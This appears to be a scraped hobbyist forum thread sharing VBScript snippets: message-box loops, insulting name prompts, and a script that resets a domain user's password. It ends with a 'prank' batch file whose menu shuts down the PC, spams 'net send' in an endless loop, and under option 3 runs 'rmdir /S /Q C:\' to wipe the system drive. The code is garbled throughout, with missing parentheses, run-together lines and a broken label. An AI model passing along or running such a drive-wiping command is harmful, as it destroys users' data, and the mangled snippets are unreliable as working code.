I've been screwin' around with both of these and I've come up with a few... If you want to see what mine do copy and paste into notepad and save as .vbs
1.Dim Counter Counter = 0 While Counter < 10000 Counter = Counter + 1 msgbox Counter,0+18,"This will close when it reaches 10001" Wend
(My personal fave) 2.Dim Input Input = InputBox("Enter your name [Please capatilize]","Message From Yoda","Here, reply you should" if Input = "" then MsgBox ("Type, can you not?" else MsgBox ("An idiot, is " & Input
3.Dim Input Input = InputBox("Enter your name [Capatilize please]","Message From Yoda","Type your response here" if Input = "" then MsgBox ("Please enter your name" else MsgBox (Input +" is a dork!"
4.Dim Input Input = InputBox("Enter your name" if Input = "" then MsgBox ("Please enter your name" else MsgBox (Input +" is your name, right?"
5.Do Until DefResp = vbNo MyNum = Int (999 * Rnd + 1) DefResp = MsgBox (MyNum & " Do you want another randomized number?", vbYesNo) Loop
Dim Check, Counter Check = True: Counter = 0 Do Do While Counter < 20 Counter = Counter + 1 If Counter = 10 Then Check = False Exit Do End If Loop Loop Until Check = False
6.Dim WshShell, BtnCode Set WshShell = WScript.CreateObject("WScript.Shell"
BtnCode = WshShell.Popup("Do you feel alright?", 7, "Answer This Question:", 4 + 32)
Select Case BtnCode case 6 WScript.Echo "Glad to hear you feel alright." case 7 WScript.Echo "Hope you're feeling better soon." case -1 WScript.Echo "Is there anybody out there?" End Select
You can also make these go on and on by adding Do and Loop... If you accidentlly open these right-click on your bar that shows time and pick [i]Task Manager Such as...
Do Dim Input Input = InputBox("Enter your name [Please capatilize]","Message From Yoda","Here, reply you should" if Input = "" then MsgBox ("Type, can you not?" else MsgBox ("An idiot, is " & Input Loop
VB.net is pretty much the same thing, except that you have more controls such as Buttons, Forms, Labels. It's more display oriented.
The only syntax difference I have noticed so far is "wend" is just ordinary "end", which I thought was a typo on your part, but then I saw it elsewhere as well.
Anyway, thanks for the link! I didn't realized that I automatically had VBS installed on my computer. I thought it was another language such as True BASIC.
What would you like me to do in VB.Net? Name anything, and I'll try it out.
do usr = inputbox("Please enter the user account name to change password.", "Input" loop until usr <> ""
do dom = inputbox("Please enter the domain for this account.", "Input" loop until dom <> ""
Set UsrObj = GetObject("WinNT://" & dom & "/" & usr & ",user"
pw1 = inputbox("Please enter a password for the account", "Input" pw2 = inputbox("Please enter the password again for confirmation", "Input"
do while pw1 <> pw2 pw1 = inputbox("The entered password did not match both times." & vbCrLf & vbCrLf & "Please enter a password for the account", "Input" pw2 = inputbox("Please enter the password again for confirmation", "Input" loop
Call UsrObj.SetPassword(pw1)
UsrObj.Put "PasswordExpired", 1
UsrObj.SetInfo
wscript.echo "Password changed. User will be forced to change their password at next logon."
WARNING: THIS IS NOT A JOKE! BE CAREFUL WITH THIS BATCH FILE! NEVER PICK 3! I AM IN NO WAY RESPONSIBLE FOR YOUR CHOICE IN THIS BATCH FILE!
Here it is : @echo off title The end of the world cd C:\\ :menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. die this way (wimp) echo 2. die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. die this way (you're boring) echo 5. easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two if %input%==3 goto three if %input%==4 goto four if %input%==5 goto five goto menu ne shutdown -s -c there are three ways to stop me! goto end :two shutdown -r goto end :three echo your computer is dead.... pause rmdir /S /Q C:\\ goto end :four net send * you suck goto four :five msg * you win! you get a cookie! msg * go to www.legit.dk to see your prize! pause shutdown -f :end